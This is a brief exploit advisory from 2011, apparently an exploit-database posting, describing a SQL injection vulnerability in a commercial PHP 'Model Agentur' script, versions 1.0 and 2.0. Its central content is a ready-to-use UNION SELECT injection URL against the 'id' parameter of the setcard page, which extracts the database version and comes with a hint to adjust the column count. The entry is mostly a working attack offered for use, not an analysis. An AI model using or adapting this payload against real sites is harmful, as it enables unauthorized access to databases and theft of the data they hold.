# Exploit Title: Model Agentur Script SQL Injection Vunerability # Platform: php # Date: 05.02.2011 # Author: NoNameMT # Software Link: http://www.media-products.de/model-agentur-p-269.html AND http://www.media-products.de/model-agentur-v2-p-420.html # Price: 19,95 € / 29,95 € # Version: 1.0 / 2.0 # Tested on: Windows 7 # Mail: nonamemt@gmail.com # Homepage: http://nonamemt.us # Exploit: http://localhost/index.php?page=setcard&id=-618+union+select+1,2,3,4,5,version%28%29,7,8,9,10,11,12--+ Maybe there a diffrent number of columns # Greetings: J0hn.X3r, 4004-security-project.com, TamCore, bursali, theeddy42